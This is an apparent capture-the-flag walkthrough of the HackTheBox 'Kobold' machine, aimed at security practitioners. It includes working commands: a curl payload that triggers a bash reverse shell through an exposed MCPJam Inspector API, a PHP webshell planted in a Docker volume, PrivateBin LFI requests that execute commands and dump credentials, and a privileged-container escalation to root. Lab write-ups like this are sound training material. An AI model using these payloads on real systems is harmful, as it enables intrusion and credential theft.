RCE via MCPJam Inspector in HackTheBox Kobold: Complete Walkthrough
HackTheBox Kobold (Season 10, Easy) highlights a real-world threat from exposed developer tools in the AI/ML ecosystem. The primary attack vector is an unauthenticated RCE in MCPJam Inspector v1.4.2 (GHSA-232v-j27c-5pp6). This leads to a chain through Docker volumes and credential reuse, ultimately resulting in root access. This breakdown is aimed at mid-to-senior DevSecOps professionals.
Nmap reveals ports 22 (SSH), 80/443 (nginx, kobold.htb), and 3552 (Arcane dashboard). The key is a wildcard *.kobold.htb in SSL and the subdomain mcp.kobold.htb with an exposed MCPJam Inspector.
Reconnaissance and Enumeration
Standard nmap scan:
nmap -p- -sC -sV -oN recon/nmap/full.txt <Target IP>
| Port | Service | Version | Notes |
|------|---------|---------|-------|
| 22 | SSH | OpenSSH 9.6p1 | No CVE |
| 80 | HTTP | nginx 1.24.0 | Redirects to HTTPS |
| 443 | HTTPS | nginx 1.24.0 | kobold.htb |
| 3552 | HTTP | - | Arcane dashboard |
ffuf for vhost enumeration:
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u https://kobold.htb -H "Host: FUZZ.kobold.htb" -k -fs 154
Found mcp.kobold.htb — MCPJam Inspector v1.4.2. Full access: Servers, Chat, App Builder without login. Connected to Ollama.
Model Context Protocol (MCP) — a protocol for integrating AI models with external tools. Inspector listens on 0.0.0.0, and the API /api/mcp/connect accepts serverConfig.command without validation.
Foothold: RCE in MCPJam
Listener setup:
nc -lvnp 4444
Payload:
curl -k https://mcp.kobold.htb/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/<Your IP>/4444 0>&1"],"env":{}},"serverId":"pwn"}'
Shell as ben (uid=1001, groups=ben,operator). Stabilization:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z; stty raw -echo; fg
export TERM=xterm
User flag: /home/ben/user.txt.
Internal Reconnaissance
id
# uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
cat /etc/group | grep docker
# docker:x:111:alice
Users with shell: root, ben, alice. ben — operator, alice — docker.
ss -tlnp shows localhost:8080 (PrivateBin Docker), 6274 (MCPJam). Nginx config reveals bin.kobold.htb → localhost:8080.
The operator group has read/write access to /privatebin-data/ — a shared Docker volume.
find / -group operator 2>/dev/null
LFI in PrivateBin via Volume
PrivateBin 2.0.2 (CVE-2025-64714, GHSA-g2j9-g8r5-rg82). LFI via cookie template when templateselection = true.
- Webshell in volume:
cat > /privatebin-data/data/pwn.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF
- Execution:
curl -k https://bin.kobold.htb/ \
-b "template=../data/pwn" \
-G --data-urlencode "cmd=id"
- Dump conf.php:
curl -k https://bin.kobold.htb/ \
-b "template=../data/pwn" \
-G --data-urlencode "cmd=cat /srv/cfg/conf.php"
MySQL credentials: username privatebin, password leaked.
Privilege Escalation: Credential Reuse
Checklist:
- SSH (alice/ben/root + leaked)
- su alice/root
- Arcane: arcane/arcane-admin + leaked
Success: arcane / <LEAKED_PASSWORD> in Arcane v1.13.0 on :3552.
In the dashboard, full Docker control. Create a container with privileged mount /host → root shell.
Key Takeaways:
- Exposed MCP tools (GHSA-232v-j27c-5pp6) — a new RCE vector in AI infrastructure
- Shared Docker volumes + operator group = host filesystem access
- Credential reuse: default usernames + leaked passwords
- LFI chaining via writable volumes bypasses container isolation
- Always enumerate wildcard subdomains and internal services
— Editorial Team
No comments yet.